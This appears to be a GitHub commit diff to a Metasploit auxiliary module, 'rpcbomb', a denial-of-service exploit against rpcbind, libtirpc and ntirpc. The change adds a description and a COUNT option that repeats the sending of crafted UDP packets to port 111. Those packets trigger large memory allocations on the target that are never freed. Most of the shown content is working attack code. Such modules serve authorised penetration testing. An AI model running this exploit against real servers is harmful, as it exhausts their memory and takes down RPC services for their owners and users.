Skip to content

Commit 8c39c92

Browse files
committed
Add description and loop capability.
1 parent a571834 commit 8c39c92

File tree

1 file changed

+12
-4
lines changed

1 file changed

+12
-4
lines changed

modules/auxiliary/dos/rpc/rpcbomb.rb

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,10 @@ def initialize(info={})
1212
super(update_info(info,
1313
'Name' => 'RPC DoS targeting *nix rpcbind/libtirpc',
1414
'Description' => %q{
15-
This module XXX.
15+
This module exploits a vulnerability in certain versions of
16+
rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger
17+
large (and never freed) memory allocations for XDR strings on
18+
the target.
1619
},
1720
'Author' =>
1821
[
@@ -30,7 +33,8 @@ def initialize(info={})
3033
register_options([
3134
Opt::RPORT(111),
3235
OptAddress.new('RHOST', [true, 'RPC server target']),
33-
OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate'])
36+
OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate']),
37+
OptInt.new('COUNT', [false, "Number of intervals to loop",1])
3438
])
3539
end
3640

@@ -56,7 +60,11 @@ def run
5660
pkt << [datastore['ALLOCSIZE']].pack('N') # Payload
5761

5862
s = UDPSocket.new
59-
s.send(pkt, 0, datastore['RHOST'], datastore['RPORT'])
63+
count = 0
64+
while count < datastore['COUNT'] do
65+
s.send(pkt, 0, datastore['RHOST'], datastore['RPORT'])
66+
count += 1
67+
end
6068

6169
sleep 1.5
6270

@@ -67,6 +75,6 @@ def run
6775
return
6876
end
6977

70-
print_good("Allocated #{datastore['ALLOCSIZE']} bytes at host #{datastore['RHOST']}:#{datastore['RPORT']}")
78+
print_good("Completed #{datastore['COUNT']} loop(s) of allocating #{datastore['ALLOCSIZE']} bytes at host #{datastore['RHOST']}:#{datastore['RPORT']}")
7179
end
7280
end

0 commit comments

Comments
 (0)